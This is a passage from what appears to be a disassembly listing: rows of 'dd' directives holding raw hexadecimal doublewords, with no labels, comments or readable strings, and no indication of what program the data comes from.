0D9CB4CDh, 12BF6653h, 0F0C0596Dh, 324B2933h, 61669BD3h dd 81681E56h, 60E5216Fh, 0B45FC87Ah, 0C98290BCh, 0E3431E48h dd 0CDD9A09h, 6B1ECEBAh, 0D4FB4B29h, 39965DAFh, 0F9BC845Ah dd 0C8FBE091h, 0EF6B0005h, 39D44264h, 29E01596h, 0B25EB50Ch dd 742A00F3h, 0E9EF0168h, 0B3C8208Bh, 67ED0814h, 5808153Eh dd 2B076FE7h, 4C29121Ch, 8D099303h, 4391E2EDh, 0DC95DAEh dd 924E2CEAh, 287009A1h, 1BB60F2Eh, 0C0B6EFC1h, 30B5CF2Eh dd 0C7A3930h, 604B73A8h, 0FFB9DA68h, 7CB0FE7Fh, 12872B57h dd 46353707h, 4A9D56E4h, 2477C960h, 9C3BDF43h, 7905CBEAh dd 0C2045456h, 112FD92h, 772BB2B9h, 4DE1D842h, 8CE45130h dd 2DC9D3F1h, 0CA80B4CCh, 0F75BD989h, 19E9D10Ch, 25683EF5h dd 3A182446h, 0D3A9DBBBh, 0C1B71228h, 0DAF8E7A3h, 8D691D3h dd 51030179h, 0FA50A2B5h, 0E36987B6h, 0BBE34774h, 2970B59h dd 141CE999h, 53925B73h, 727AC622h, 0F9F6015Fh, 894CE5D9h dd 0EBFC8AF3h, 59AAF838h, 9A19BA2Fh, 0D2E58FFDh, 2BE05489h dd 0E30A9668h, 0A5EAFB01h, 0CE80D4E8h, 0AF06A267h, 28D9F660h dd 4A5A73F5h, 0DD9F45E8h, 5867CCC8h, 0F26340F2h, 60BB5310h dd 0C6EBD095h, 7F66B423h, 907F2D65h, 3B53FA05h, 1275548Fh dd 75218D6h, 4433E671h, 73B6C363h, 40B3BD40h, 6AA6D896h dd 27C75D42h, 3FADA3F5h, 0DEEEF7BFh, 0E62258EBh, 29C206E0h dd 0DD9C9C54h, 0BF3AEA96h, 0D6015B09h, 7D44C732h, 0F1DA75Bh dd 7CC71A4Ah, 0A6138800h, 48EBC11Ch, 0EC456203h, 71271C83h dd 9AD92D0Ah, 20168B50h, 0F64107D1h, 23E18041h, 9084C1CCh dd 5B592C37h, 0E77A1410h, 0B7074A94h, 8FFD08EBh, 5ED86FFh dd 6C58880h, 35C12C50h, 75BC775Eh, 5C52B880h, 9DBB1D9Fh dd 97572D3Dh, 0EAC0C331h, 0E4B1322Ch, 58754DE9h, 0EF5F404Bh dd 614A23FCh, 49B90158h, 7FE9C2D3h, 82F959E2h, 5ADD130Bh dd 2946695Ch, 2D58021Ah, 5C6B4CFEh, 3470C361h, 0D000F726h dd 0F3BA2505h, 0B9C50106h, 64666B74h, 10FAFE52h, 1969C663h dd 5A54FA22h, 536BB46Ch, 0B04E13DEh, 50295E5Bh, 5CF0A9DAh dd 3881177Dh, 2079C258h, 0F8024F20h, 62E9FD98h, 0A5C251F2h dd 0C6682B98h, 0E91AAFBAh, 70A215Ch, 4EF45014h, 197DE4B1h dd 2D185889h, 68015652h, 2E2F3B51h, 7B4C348Bh, 5FECB0F7h dd 4068E0E6h, 2C70FA90h, 8909C076h, 0C084E9F2h, 73EA800Fh dd 42C20221h, 0C05AD128h, 31E7A663h, 0C1D22CAFh, 1A23E4C8h dd 33C5B3CEh, 297E5F8Eh, 0CDE0A8h, 759D202Dh, 0C5262969h dd 2E00BD58h, 0E91F1250h, 3B1362CBh, 0C4565AD3h, 0D12B5C80h dd 79E3C17Bh, 134FE602h, 7600836h, 85FE2802h, 3FE00A0Dh dd 0FC8B2874h, 0A80A2FBFh, 1E08500Bh, 5454268Ah, 0F989874Ah dd 38E6EF20h, 0AAE05069h, 73C43E9Dh, 0F3CD0128h, 0C8E90880h dd 0E0253C94h, 0F0E5EB1Eh, 104342BCh, 5E0B901Fh, 0DD80EA01h dd 782B3139h, 0A9517FCh, 0F94807ADh, 70B96603h, 0E1C1A016h dd 2960F107h, 31BAF852h, 0EA1843D4h, 0FEDA0308h, 97582752h dd 25E9D840h, 0BE277A4Eh, 3B1F985h, 5F214560h, 0B8362052h dd 78251BA6h, 8B18070h, 4E736DEFh, 8065C743h, 42937BC2h dd 2811296Dh, 28E20C09h, 132E241Ch, 2F77DDD8h, 5A87EF09h dd 0B2AC7E53h, 804E0E7Ch, 0CF6664E7h, 433B0636h, 0F7097BFEh dd 81FA8809h, 49C2684Ah, 0EB515C53h, 59ECF9D5h, 1460E7D5h dd 22346966h, 2F2A8C69h, 33A3CB13h, 52020C64h, 0BE58FFA3h dd 8A672224h, 89E75958h, 42785DEEh, 92313340h, 82F0716Ah dd 0EFB3F00Ah, 43DB3FCDh, 0D083B5A3h, 9F7097D2h, 3055CE81h dd 9282C757h, 148D50E4h, 0DC349868h, 794650CBh, 63014096h dd 59700A38h, 7064A71h, 804E7EFEh, 1C0E77FFh, 4D59669Dh dd 7020A2D3h, 19C343F3h, 0E7193CD2h, 0F220315h, 6C007BC8h dd 4C2633CAh, 0BD5552h, 1D143EB9h, 0EDC1DDF7h, 0F5000390h dd 1B018F1Eh, 4EE9EA21h, 999412BFh, 810CA7EAh, 5314E90Eh dd 558023A5h, 26DE1ACFh, 478F5B19h, 0D9575D22h, 9080C303h dd 5CB60FACh, 871406C0h, 4C00BF81h, 0E935AD32h, 94990E3Eh dd 14978E20h, 0D3681068h, 99E9135Bh, 0A7BD17C0h, 7A1C3D35h dd 212A7414h, 77230896h, 538B1624h, 5B44A554h, 9B68D393h dd 153166Ch, 8528377Fh, 51219259h, 2FF1D6A0h, 0C1947B31h dd 595F0720h, 848B7010h, 0B80567A2h, 56CF202h, 3D0E11CFh dd 588B401h, 41742FDEh, 0B5F7D240h, 0BFEB8BAFh, 0C04F0EC2h dd 0AD2AC781h, 31172752h, 92E94BE0h, 0EABE2554h, 0F579A000h dd 0FC22D99h, 1022CC7h, 7209Bh, 0BDBA525Ah, 0E977686Fh dd 93A48F75h, 613F2440h, 0ABE34F79h, 0EC6EF14Eh, 0C1C038EEh dd 2532B951h, 891D0CF5h dd 0F95259CDh, 5B162300h, 45E9D529h, 449B8Dh, 3B215611h dd 29F26851h, 9D713D24h, 90D13415h, 0E95B24C9h, 575156C0h dd 7A400FBFh, 0F7CF62EEh, 55430AE2h, 6E80BC8Eh, 95E9D2F9h dd 505F2A4Ah, 4DB30A00h, 0BACF81h, 0F719F33Bh, 649C68DFh dd 0FEDB1897h, 37602838h, 30EF0BC5h, 0D5E8623Ah, 0F3302664h dd 5E540C23h, 0D5758A8h, 0CB068204h, 73E6E805h, 805FF924h dd 4C31C03Fh, 0D49AF7C8h, 0DB71D59h, 72E9D790h, 3E29B94Ch dd 0F5523881h, 825DE889h, 0E31B2C2h, 9C7B4E05h, 36570E9Fh dd 6880150Eh, 21397223h, 5EC82C4h, 9CA90F4h, 4E3F7774h dd 6B600286h, 1B5BEB04h, 2AC15333h, 66033138h, 0C0FE04B9h dd 59E82CE8h, 0F50ACF90h, 3D72B968h, 50CAB283h, 1080D5B0h dd 0D23319E9h, 12F3F31Eh, 99225EF5h, 5AEA696Ch, 0C2AC7A9Eh dd 0CB01186Fh, 2708F188h, 0E917D5C6h, 0B7CCCFD8h, 0BC3E6B57h dd 56313E1Ch, 0EB68101Dh, 0B60C66E2h, 2A45A5F5h, 75BE906h dd 98C3FE0Ah, 2F48A0A2h, 0B673A813h, 0F6801C6Ch, 0AD69A6Fh dd 0FEE66EC0h, 4290CE7Ch, 5D2CD9B0h, 0D0C3C211h, 0D8652641h dd 2CF0074Ah, 5AEA21C0h, 802A6051h, 6FA43D99h, 1BD42A16h dd 7D011DFCh, 311B27F8h, 0F2E743FAh, 285B973Bh, 0E54A709Fh dd 7710C8A1h, 0B1554BFh, 0C78360C2h, 7D3F0878h, 316F8120h dd 0EF8759CFh, 8A86A21h, 0CAD3009Ah, 0FD01F0B4h, 0EFBA4DE9h dd 6DA8BD50h, 6494148h, 3C776C34h, 25870F0Ch, 0E58175C5h dd 4251474Ch, 5B41CDABh, 0F51880D2h, 66F937ADh, 73ABB009h dd 0C0075AC1h, 0EF6344Ch, 0F2D9F0EDh, 310F880Ah, 1D4284F3h dd 0DD250019h, 5113CC50h, 0C505E8C1h, 3DE31280h, 4D64E105h dd 2DFA867h, 1F63D18h, 0EFD41D8h, 49240D76h, 5F5A8B5Bh dd 0F2025205h, 0F5C8B66h, 5410519Fh, 0C458C0h, 938ABB53h dd 4831D678h, 5F20D5D9h, 5760295Eh, 5C710F6Dh, 0D1208A6Ah dd 9A7CAD76h, 0FCF15781h, 744D902Ch, 2FB26882h, 3F4E4749h dd 94BB633Ch, 5D256060h, 12C49D5h, 82020DEh, 44D3E913h dd 81123D89h, 207B5A20h, 6602BFE8h, 2892B151h, 47B40CAh dd 0C55EB87Eh, 0A821E918h, 70B90212h, 8E5EC412h, 80D94B84h dd 7C77BE43h, 0D40CC11Bh, 0F06B7462h, 3709DBF1h, 0B01D7D3h dd 275ACC32h, 0C022326Dh, 66001CB3h, 0FEFEB252h, 8DF84E9Ch dd 2D142B5h, 158F4C2Fh, 0E92E84ECh, 34A61D05h, 0AA5CEA01h dd 2720812Dh, 0BAA75C7Dh, 36E4C310h, 0C4448931h, 1D82518h dd 0CFF58058h, 0AE59EBC0h, 5F2D2CC8h, 0BDE96156h, 81BD5559h dd 4044255Ch, 68D231A3h, 0D334C729h, 4F8205ACh, 7A1A0656h dd 90639A6Ah, 0C1106312h, 524F27EBh, 8D3CEB2Dh, 19A8E918h dd 7F1E3B05h, 6089B286h, 0EF1C5BC5h, 0A98BF007h, 0C201A290h dd 6535584Eh, 71A299A1h, 1122E1D1h, 3FBED710h, 0C99DCC89h dd 4BC0915Ah, 885901F6h, 846D31FDh, 0B1B65206h, 60488EC2h dd 4FE9B48Ah, 0E0D15639h, 3C166692h, 400B695Bh, 7C534E6Eh dd 9D79F65Ah, 82C1CD13h, 0F3298033h, 0D1B4859h, 0D921255Dh dd 2F5450E8h, 89EE23C0h, 2DB1BD4Fh, 7922F001h, 3C441366h dd 0F012CB5Bh, 0EDEB1098h, 0A6B0F814h, 72345CC4h, 0BB59C3C2h dd 26B4B840h, 2935C412h, 0BEEA2B0h, 332E4676h, 0F6284h dd 80EF54BEh, 0F10132BBh, 0F4B22A8Ch, 969939C4h, 812495A4h dd 91C94117h, 0BE4BC2E0h, 0A45097D8h, 650AB801h, 0F0284129h dd 95A32CBFh, 0BC0614A7h, 0F6685C5h, 0CDF521B3h, 0D2F700D7h dd 4AEA0481h, 0E0589362h, 0E92652C8h, 5F802640h, 3818C981h dd 2A607CCAh, 179F620Eh, 0C1EBBDF2h, 385AD69Fh, 0BD04A4AEh dd 6A146333h, 8074BD30h, 8E97C3C5h, 14C8C9A8h, 4AA2F66Ah dd 0D9EA92C4h, 0B52DAEF0h, 0B218994h, 0C33D031Eh, 98FE7B88h dd 92DB45Eh, 0B2C016E9h, 594A5451h, 1820208Dh, 0CD370119h dd 0D2E94A31h, 0DEAE4915h, 3068AE48h, 0E0316F5Bh, 0E9507457h dd 38A08E7h, 96CE8149h, 0F4F65A0Ch, 865F910Bh, 0C046503Ah dd 0B30DE312h, 0EC0462Ah, 255B566Ch, 78E5AE9h, 93DE31E5h dd 204FEED1h, 5840FDD6h, 165F0403h, 1BCCDA3h, 0A02064F2h dd 674FB9C9h, 0DF334Bh, 0C963CCE4h, 4F11B855h, 0C1C416F3h dd 23D2A233h, 401FD40Eh, 2218D7FFh, 0E96D65C5h, 5BF5C93Bh dd 0A1C9E359h, 3AE5E930h, 0B331246Eh, 5FED2406h, 683BAE09h dd 33304373h, 0DE281031h, 78A2B8B1h, 0DA090AC1h, 0FE08C95Bh dd 635F1A6Eh, 93EE5B8Ch, 0E02D7A40h, 868337D6h, 4029C2BAh dd 7A603C5Eh, 0FA273419h, 0DC6E5E59h, 3AF9695Fh, 0B8506D21h dd 0C63E0108h, 0CEB67358h, 9C325C92h, 269B4421h, 4729695Fh dd 0BE5B0BC2h, 506893BDh, 9D016F28h, 4360EE82h, 66555200h dd 0BB55C68h, 4BC8EF15h, 27F85251h, 3E455C0Ch, 0E10BE158h dd 7C84367h, 87806649h, 0E20E95D7h, 0ED000192h, 820AB975h dd 8D23E20Ch, 0FB27C1E0h, 2050547Ch, 0A7B3D286h, 208150C8h dd 0E40FA4Fh, 2A0C7798h, 0DAD65889h, 0AD583220h, 5F7514B4h dd 872910FEh, 399DA62h, 3C0EDA09h, 8CDA0E68h, 6162E2FFh dd 49387211h, 2F225E34h, 5C44C0C8h, 406A0ADDh, 80DBAC4h dd 0E9A12A30h, 0ACA405F1h, 493207FEh, 0FE4D5D7Ch, 31024272h dd 77C5EF1h, 2D326806h, 0D4CD2053h, 388EB801h, 0D8F72A3Bh dd 28C76EFCh, 0BC0D5C4h, 71DC2FB5h, 0C6292D60h, 0B80F898h dd 9B9644E9h, 0F701471Fh, 2B37287Ch, 0A895252Bh, 67E91F1Ch dd 2EF16CF4h, 0D9F7F431h, 87044768h, 0B58874A0h, 1575F46Fh dd 0ADAA093Dh, 0BFD580EDh, 0B0A6637h, 83C7811Eh, 90092629h dd 0AAD86793h, 625DF83Ah, 4C089401h, 0CC3CC973h, 445C4B42h dd 0B1CC05Ah, 41F4A15Eh, 0B5F07F4Dh, 2C15B1FFh, 4810E6h dd 2C15EB80h, 74D828F2h, 93CBB004h, 5166802Fh, 582C5EB5h dd 0D09848E4h, 8B97D3FDh, 6AE978C8h, 8A34D55Bh, 80924191h dd 0B9500F04h, 0F8F2577Bh, 0F60159FEh, 5EAC0D2h, 16ADDE9h dd 0CC684D00h, 0C0892C09h, 1B2813D0h, 5FFD0031h, 0A14A8005h dd 865DE94Eh, 28F1D53h, 58BA58CDh, 0B2BF372Fh, 58741C55h dd 7B72044Fh, 0F5460407h, 5D1C90B6h, 6AAACD01h, 0D7FA22E9h dd 6E5AD0E9h, 693CC027h, 0F0F87F21h, 285196FEh, 0A81A9138h dd 6451B638h, 0D343C931h, 0DE8F413Ch, 2568699Ch, 60184B61h dd 1B94C062h, 1C8D2352h, 5539FA23h, 71E9CD18h, 969672E3h dd 0E768EA98h, 29DEC82Ch, 575B0FCFh, 8C2565E4h, 12F256FFh dd 5FC83F3Fh, 1A5D5580h, 0A67C48E3h, 15625F06h, 9B021806h dd 89A6942Ah, 200A72F2h, 129F44A4h, 1048F4F3h, 0A48B4533h dd 0FF08D60Dh, 0B9718C0Ch, 0E80AC1F8h, 81C83112h, 125532ECh dd 0E22C8B58h, 902E2218h, 2B1F00C4h, 0D701DB43h, 0FB5C295Ah dd 0A5EB0386h, 0E1183B12h, 0F0BB51C3h, 415D04F4h, 0F419A0E9h dd 2A1642E4h, 0A3016AC1h, 0EC5762B8h, 0D8BF9043h, 245B709h dd 6EBDCF81h, 20607067h, 3B011F03h, 0E9F8311Eh, 4E284C8Bh dd 55838594h, 0D8C97C68h, 0D3013E3Ch, 4F7F5906h, 17CAF5D8h dd 8FB28A6h, 0FE013836h, 0D1EA80C2h, 5E20EDCDh, 0EBC1B8D5h dd 9C3FF270h, 0E1664549h, 0D1126E72h, 98CF4585h, 404A8728h dd 0BC0BBD34h, 0B7C4E6Ch, 13DF406Fh, 76421E78h, 7F2145Ah dd 39342A4Dh, 0BE4CC17Bh, 0CD546DCh, 0D2FA052Ch, 201F68C1h dd 0E987212Ah, 32D2DE8h dd 480A2AE6h, 9AF6B012h, 6E152E21h, 0B4B8123Bh, 140513E9h dd 0EF01483Fh, 0E65AF526h, 7CFA90C7h, 0DDF4822Ah, 0F0E5E9D1h dd 0ECEB5180h, 16E4694h, 0B079D94Ch, 0B95BAF68h, 0A124A549h dd 645C4359h, 22783788h, 0B1D56A5h, 80FFAEB7h, 0FE456A04h dd 59CB2489h, 0BF202833h, 0F6D87B11h, 9EE8CC5Eh, 7919A109h dd 792D42C6h, 82BE35DEh, 274247CAh, 19CA8173h, 9097FB4Ch dd 0BE41F0A9h, 213DA313h, 0CCD48F0Ah, 2327BD81h, 42E84488h dd 6DEBC469h, 7351F31Fh, 4CE8E98Bh, 13C1AB6Ch, 317CD66Dh dd 828DA846h, 0A61F5E7Bh, 0C71E473Fh, 961D4565h, 8C0356B8h dd 8925510Bh, 10EC1AE1h, 52516806h, 93D1C149h, 8525916h dd 0E82C51DAh, 0DFFFB715h, 0D1C84EC9h, 0A8163C55h, 30FBE7F8h dd 7060C253h, 0E9671264h, 90A7C5EAh, 0F03548DAh, 0DC277D7Ch dd 0F6EC48E0h, 43610001h, 6B8ACE81h, 1BF35DEh, 195F15CFh dd 5B392760h, 0F24330Dh, 1458A12Ch, 0A5D9E00Bh, 0C586E277h dd 0C3978A0Fh, 593D2C1Fh, 732DC00Ch, 175C2819h, 9510EECh dd 8F0C78C0h, 9E0F5855h, 4BBD7B18h, 0C37231D9h, 0F708D861h dd 16A893D0h, 3202404Eh, 0E110DE07h, 84A3C821h, 5C744C39h dd 56F52DC3h, 5441299Ah, 5B074205h, 31D0C41h, 1A6BFBE9h dd 7CB69E0Bh, 0FB4BCFD1h, 0E9F70518h, 5AB6D18Ah, 1E0EDC53h dd 0EE7EEFBAh, 0EA4B2F2Dh, 541CECF9h, 9BFA2BCh, 2E7054C5h dd 15B9B581h, 0E273206Fh, 2809A894h, 0F0053FDh, 1273F5B7h dd 9DBC521Ch, 0BF123073h, 62804816h, 6454CB0Bh, 8566163Ch dd 2D440DC8h, 836715E3h, 1403D6FCh, 2D0360BBh, 7E43F85Eh dd 0F9695CF2h, 0AA6EF825h, 5FBEF2C4h, 34A56800h, 52F03AEBh dd 0D7025178h, 596E393Ch, 0B8DFE049h, 1C0E0F18h, 3D5ECA89h dd 87C94F2Eh, 4A072605h, 2DB13BCFh, 2E0DE90Eh, 8997EF14h dd 62F9E85Dh, 0A5CFB4EEh, 184160EAh, 59133ECBh, 2A6C4711h dd 2926D133h, 0FC5A8FDEh, 47E904B1h, 4192B770h, 58F033A6h dd 52875198h, 69D35D4Ch, 5A0BE812h, 0CE829AE3h, 0F95C489Dh dd 5F8C0DD2h, 44850149h, 6E406BBBh, 28872B25h, 3E72CC1h dd 712E03C6h, 90B75424h, 19825945h, 314FE970h, 64AD6BCCh dd 80F26B0Fh, 1F067E53h, 3829763Ch, 97E98B5Eh, 2054E542h dd 85E79588h, 199F7125h, 615CD35Bh, 5902E37h, 0D34EDFE9h dd 0EFF30030h, 55325B28h, 3788B4C2h, 0F1AF6082h, 3799DCh dd 348320Ch, 4D00B951h, 813C1552h, 0F75A0F1h, 90E94F7Bh dd 146F7B2h, 7A016853h, 9D4235C2h, 5D2A6932h, 0AD61C6EDh dd 0F600CA3Ch, 61B753D6h, 0E07DCF80h, 4B3ED259h, 3648C1CAh dd 0A6733101h, 70C20163h, 532ECA16h, 0F3084104h, 93B4301Ch dd 234EC217h, 7CCE5F80h, 1B37207Eh, 7BD99A50h, 4D126816h dd 0FA353AA3h, 0D34CE911h, 0D05485CFh, 66F12EF6h, 68CC027Ch dd 59C60C2Bh, 67B9E928h, 852D64D6h, 51419302h, 8266A7A5h dd 85615F58h, 21F05553h, 7451000Fh, 815BDD89h, 6A2E52E5h dd 0ED018D4Eh, 757032B9h, 5DA30C85h, 0C569C0D8h, 0DF17411Dh dd 0F210C126h, 331F0491h, 0E9042952h, 5E23D2F0h, 16846D92h dd 27B90046h, 0F42E7954h, 0D2584B70h, 0E7624019h, 0C3588670h dd 97B32053h, 9852AD4h, 61E21C47h, 0D1448041h, 0DAA47357h dd 268C2CE9h, 200CCCF7h, 5DEA10C1h, 2B28D021h, 36E955C2h dd 0C178F958h, 20900750h, 31623D1Ch, 895BDA45h, 3CE91A05h dd 25299BE0h, 0E6DB58C1h, 0D8A72BADh, 0FDE9101Ch, 0A08A5B3Fh dd 0E95D5C03h, 0AD7656C4h, 0F940C2B8h, 302D075Eh, 5031FD45h dd 6B194D8Fh, 7B708BDh, 1623FE30h, 0E9510BE0h, 2A20FB56h dd 26982F85h, 7D6DC1F5h, 0E4B6266Dh, 0C419BD0Bh, 0E8C11269h dd 2DAEF808h, 7CBDC27Ah, 9768610Ah, 6E15331Ah, 3FC0A868h dd 67556212h, 2C462338h, 1E252D90h, 5791400h, 3DEF6317h dd 0CE2B98E9h, 6CB4238h, 0F504A572h, 24224193h, 1052983h dd 5D268ED4h, 93D2F732h, 0EE085704h, 0D12100DBh, 4E1C15Ah dd 77901E98h, 8284DD69h, 0F854292Bh, 2CE9260Fh, 7DBF8389h dd 0F7E7DC70h, 0D2C0C4F8h, 0D16C595Bh, 81BE43F8h, 0FCE58003h dd 0C0EE9FC0h, 0EB2837EDh, 7FCDF959h, 2568C3C0h, 0C86633B2h dd 0EE13C17Fh, 410E6601h, 0D7FE0EFFh, 200E1E2h, 502ECE80h dd 0CAA80CE9h, 0E4F1E381h, 0F3EC255Bh, 9E445D0Fh, 0D5B8407Dh dd 53E563Fh, 0AF5B8505h, 5FE8C245h, 0C5137C64h, 93645758h dd 0FC9232BAh, 0F78090C8h, 88509C1Eh, 0DEE12879h, 1E5FD140h dd 4903E3C1h, 49182954h, 0E42E6857h, 5F65F87Bh, 0E9A18AE8h dd 4C13C03h, 621D685Ch, 62D638A8h, 94ADB474h, 0D08C558h dd 803C0060h, 871DD731h, 226F7FAh, 0B9A80B2Ch, 0FBCFAFA3h dd 6F6DB42h, 0B7D86BA7h, 206D980h, 0B4F19A7Fh, 240553A2h dd 382A2031h, 17082010h, 2E285558h, 52499E5Ch, 0B25300FEh dd 27E545EFh, 5F528CCCh, 60345618h, 0C13D803Ch, 49E91379h dd 0F4DE4475h, 88425960h, 4F5C5520h, 68C4CC38h, 4D14552Ah dd 0CAE95417h, 0EF8865C1h, 0CFAC85DFh, 3839214Eh, 525701B1h dd 136A8BDDh, 2501F712h, 239D7B34h, 65C19CE3h, 7025F247h dd 13EE4ED0h, 4701F046h, 31FA4116h, 0CCEF898h, 51771FC9h dd 52E590Ch, 0B60C1030h, 3EB8505Ch, 75817E9Ah, 29CF1DBDh dd 0D2033FEDh, 0EA93E9h, 715BF581h, 0E5C116B9h, 26C00758h dd 0E012C47Ch, 0EE17DBADh, 0F898955Dh, 0F28412F5h, 163B33E1h dd 8234164Eh, 3077ADC3h, 24412E00h, 254639E0h, 14A580D1h dd 0E9833BF0h, 0C80C8713h, 5A3DBE39h, 0F345A87Ah, 0F144100Bh dd 0E98D0246h, 57D7491h, 0E7585450h, 0C7CC4B2Fh, 0C7CF25E9h dd 2E5CA391h, 0FEF57AC7h, 0A25F7092h, 41F021ABh, 9C7D3CB2h dd 0C381581Ch, 4A6C724Eh, 0A9C1DACAh, 0C9493965h, 9903EE51h dd 420309D4h, 0DC5AB674h, 0FA804991h, 3101056Eh, 6AEE8131h dd 0A4C837E9h, 0AFBE805Ah, 3001F2FEh, 700AE681h, 0C8439CAh dd 0BB8B0B4Bh, 1C34B601h, 0C835A27h, 3B101FB7h, 0FCC2CE34h dd 8287B066h, 494D94B2h, 88177844h, 0FEF32CC6h, 0F31CCE7Dh dd 84E6805Ah, 0C75BD90Eh, 0CB04ADC3h, 5951E9C7h, 0BB85F4E9h dd 976DC7B9h, 0DDF7B3E3h, 41C4085Eh, 614F37C0h, 0E97A48ABh dd 99DB0203h, 56652994h, 49A4102Eh, 0F96B13D4h, 225B574h dd 15EC5908h, 1302C797h, 5C25F70Ch, 6D9C1000h, 5FF80104h dd 0A2BCEC53h, 445D156h, 0AF5EF209h, 0CF1BE001h, 9170FB82h dd 0A6E0A05Ah, 415F4C3Ch, 0BACB404Eh, 0DDF4CC0h, 3FEA8103h dd 1F0A094Bh, 6417E03Eh, 62F200DCh, 18A55E1h, 0AF5AD539h dd 17046CEAh, 5EE67EE9h, 4E75950Fh, 7125E24Ch, 0E530DD05h dd 3AEE91Bh, 5A8A2551h, 0DAF727A0h, 4A5E9E91h, 2B85710h dd 51EF7D10h, 44A9804Bh, 90C507B6h, 2C5B5E72h, 3B131F24h dd 57B061B3h, 0F72FB001h, 250503Ch, 0F3282090h, 0AE10BCEBh dd 0EE081C66h, 0B1011206h, 0A4402B85h, 7CEB2D5Dh, 5120003h dd 0C546224h, 47F9F029h, 2411CA07h, 8D68C17Fh, 90303E08h dd 5AB82317h, 79801503h, 0B6D00269h, 8392ED85h, 0A001020Ch dd 0EE29782h, 0FAFE3CEEh, 561BDEA0h, 39295E3Fh, 0ED14260Ah dd 25F64D69h, 5560E5F1h, 9CF921E9h, 216AEAFBh, 224E303Ch dd 4812E542h, 0C4E6E9h, 0C105CEBCh, 0F103490Ah, 0F823CDAh dd 0FC8B252h, 49B4F3F8h dd 294C40C9h, 258BC34Eh, 2E45F90Fh, 6F9DE0F7h, 0BA4B1261h dd 5CD7583h, 0D36CEFEDh, 2D69F42h, 0F5183709h, 9341A362h dd 58142931h, 5FE1E26Fh, 1682A8A6h, 925D0C3Dh, 2CE23CE0h dd 236149DFh, 7BAED531h, 0C15DBC1Bh, 9B82B6D4h, 334A5BC5h dd 0F4D5CE61h, 0CA9C3195h, 73C54852h, 2EC1814Fh, 33305C0Eh dd 277896A2h, 8C44BCDEh, 0B568D8C2h, 547CA907h, 7AE95012h dd 1C81D849h, 0E70216F4h, 5DF98858h, 0D1303718h, 4FE93DC3h dd 0D677040Eh, 0C2EE295Ah, 3E796A75h, 0D561DF3Dh, 0CE0705B9h dd 3F02F4C6h, 94275E99h, 0C256B6AAh, 61AF1786h, 9C0FD200h dd 55005A22h, 0B15198BDh, 0C0D5F747h, 11E58104h, 36B9618h dd 5F080710h, 49AC2514h, 4A909105h, 10ED5DEh, 0C936608Fh dd 0E6BB2034h, 68456D1Fh, 81C68FEh, 14191C34h, 2BEC5DB7h dd 0AD7DBB6Ah, 0D4566A9Ah, 58D7E9C2h, 0E08B419Ch, 0B1B53753h dd 0C554ACF5h, 0A23C17EBh, 0C66885D1h, 0C8518663h, 9B967E7h dd 0E9C15945h, 0FE7A7B02h, 2A76BE00h, 0FD084DE7h, 0CCF55A7Fh dd 0D7066824h, 5D1EF722h, 5707FF7Ch, 620A6D28h, 9145A670h dd 2B8B1E54h, 6F298FE3h, 0E9521938h, 63CF6231h, 0BA03ABF7h dd 55902DEEh, 99E11F8h, 4E215812h, 2B81BF36h, 66675765h dd 307D7189h, 0CDBE181Dh, 0D9C9B98Bh, 0D0880ED1h, 6307C349h dd 0F31EF2DCh, 65E99856h, 0C271A5BDh, 90232509h, 7AFE4F4Ch dd 85925CAh, 0D281BD31h, 4C9DE5Eh, 5FA05890h, 53DD1931h dd 0BC5B1CF7h, 8EBB00Eh, 921680E9h, 9D199588h, 39ADAFFh dd 732004F0h, 80580F38h, 2C240BC7h, 4D12CB32h, 1DE20124h dd 9BE909BFh, 3E760D2Ch, 0A958D1C2h, 0B0D7122Ah, 0F9A4550Ch dd 90481C3Ah, 56544EF0h, 550B0227h, 59291368h, 0D8A73944h dd 0EB6495F1h, 947CB04h, 0AB05325Eh, 7B998902h, 73C11068h dd 68892C91h, 0E9D3C0A2h, 95764E6Dh, 19ED25Eh, 6046027Dh dd 61AA5EC3h, 0FE4D70BCh, 0A2EC9DABh, 78F706C9h, 0CDA70095h dd 0ED812220h, 0EA09641Eh, 88DD017Bh, 5B0508C5h, 64C7EB89h dd 419A7F31h, 92BAE9F8h, 4F6F6F7h, 7A33DBEh, 0AAD8489h dd 8A93DDFCh, 14D2B1B9h, 63EA11Fh, 20E227AFh, 0D0D4B057h dd 3E683CEAh, 0B403AE53h, 4FEC8011h, 0E9D6E498h, 1840332Fh dd 8025514Ah, 42DE5866h, 26BB509h, 0E330BF54h, 59B19FC1h dd 0F32C84E9h, 0B8A42D27h, 5FC2F405h, 0D6AD683Bh, 0E9E004EBh dd 6F4F2CCh, 0D60850E5h, 2048055Ch, 99C50951h, 0A0A6001Ch dd 2E2D694Bh, 0F5188031h, 131BA3F8h, 0E19FE97Dh, 50077E88h dd 6D206326h, 0EDEF74Eh, 0D102E6C1h, 31030A79h, 0F92105Ch dd 6813C8B7h, 0DCC4EFDh, 20A967DEh, 0D5566446h, 0C428859Ch dd 77FBC0C4h, 7C09A771h, 0F41C23E9h, 64164BA8h, 0FF4AACBAh dd 5FAF3A4Ch, 0DDF62D5Ah, 5066BA40h, 9C38B03Bh, 0F83927C5h dd 0F624B40Bh, 0B29506DCh, 0B753130Ah, 0D5AD0949h, 877886F2h dd 57538661h, 9B3A5F54h, 56611015h, 68C5A876h, 0CA4A5FA9h dd 57BE44ACh, 16C3E914h, 11F9D2DDh, 3ED099D2h, 5A02F14h dd 273A74ADh, 18689080h, 2C504A1Eh, 53008592h, 0FD316FDBh dd 9F0C9EE9h, 0AE901414h, 0E919AC8Ch, 0D91D60CEh, 1A42697Dh dd 66DB304Ah, 0BEA4AB0Fh, 1EA8F120h, 4A146EBFh, 3984730h dd 5CCF2B6Dh, 25FCF7B0h, 1D6950Bh, 0F61796F8h, 190C8h dd 5BFE1A20h, 43E9D029h, 8858B063h, 0DE7BB9DAh, 0BED8AD64h dd 8A664753h, 3AD1144h, 52996856h, 63C0E443h, 0B5D3EEEh dd 0F189BAC7h, 0F9BFD084h, 3D690140h, 0F22963E8h, 8041171h dd 5885B6C3h, 13898251h, 0DBD96BABh, 0FC5C0DB2h, 0CEE87217h dd 0CDCBA1E9h, 3F17E558h, 0E4291793h, 67400371h, 93901BBh dd 0EBC17DAFh, 2EF0F507h, 1DBA890Ah, 60A11F96h, 22C3178h dd 0AF80B0Bh, 0ACBDFB5Bh, 6193D540h, 0CB57420Dh, 0C2F7377Ah dd 0C8AB1BB8h, 22038456h, 0EA40EF0Fh, 8009DCA9h, 2935E2F6h dd 0E80E2D24h, 0E56C7A1Dh, 71A05F0h, 279C96E3h, 835865E9h dd 604BB09Eh, 97C8E3BEh, 0F92B8F21h, 0A9E630DBh, 60E87305h dd 56A4C2E9h, 2540FE5h, 